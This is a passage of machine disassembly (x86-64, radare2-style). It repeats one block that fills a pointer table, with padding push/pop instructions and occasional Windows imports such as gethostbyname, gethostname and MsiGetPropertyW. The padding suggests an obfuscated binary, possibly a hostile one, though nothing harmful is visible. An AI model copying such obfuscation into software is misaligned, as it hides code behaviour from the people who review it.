add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostbyname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x18
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c76d0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x18
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d05cc
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x18
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d41fa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x19
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1f98
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x19
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d46e6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x19
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c486e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x19
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d978e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1a
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cff9a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1a
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.msi.dll_MsiGetPropertyW
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1a
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dc5f6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1a
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d463e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1b
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c7962
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1b
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d8e4a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1b
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cb242
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1b
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c7d94
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1c
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cd0b2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1c
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1c
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6c26
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1c
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c9a80
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1d
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c1946
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1d
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf20e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1d
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cb476
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1d
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cd400
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1e
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1e
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cc96a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1e
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c48f8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1e
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1ece
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1f
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cc740
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1f
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cc240
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1f
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2358
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x1f
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c7e42
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 5
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d9924
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 5
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cb774
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 5
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2358
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 5
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c62d6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x21
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d8e00
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x21
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf896
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x21
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401db0c4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x21
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d24ce
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x22
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostbyname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x22
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.msi.dll_MsiGetPropertyW
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x22
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d05cc
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x22
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c6340
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x23
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c6768
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x23
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d98e8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x23
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401db24a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x23
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c80f2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x24
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6134
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x24
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cd568
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x24
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d53ea
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x24
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401db6a0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x25
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dd4a8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x25
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c9628
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x25
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401caeb4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x25
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c4fba
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x26
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dcee8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x26
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x26
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c6fa4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x26
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf55e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x27
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostbyname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x27
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6c86
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x27
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c21f0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x27
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c9faa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x28
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostbyname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x28
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c3616
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x28
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d92b0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x28
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d43dc
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x29
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c9384
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x29
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c19c2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x29
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d65b2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x29
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dc91e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2a
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c688e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2a
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c5d94
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2a
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dc31c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2a
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cb7ba
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2b
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401daf3e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2b
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf4a4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2b
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7e88
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2b
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d024a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2c
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401da88c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2c
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c3176
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2c
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6fac
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2c
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d2924
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2d
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c8856
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2d
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dba0a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2d
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401caeb4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2d
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf30e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2e
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d369c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2e
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d029e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2e
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c8f1e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2e
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6bc8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2f
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c38f6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2f
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c4a8e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2f
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c4138
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x2f
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c20fe
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x30
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x30
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2144
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x30
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7afa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x30
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d84cc
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x31
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x31
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6046
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x31
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7afa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x31
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d9e2e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x32
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1ac0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x32
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c8b5e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x32
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d3bec
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x32
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dab50
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x33
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf84c
lea rcx, [rbp]
call fcn.1400f2e70
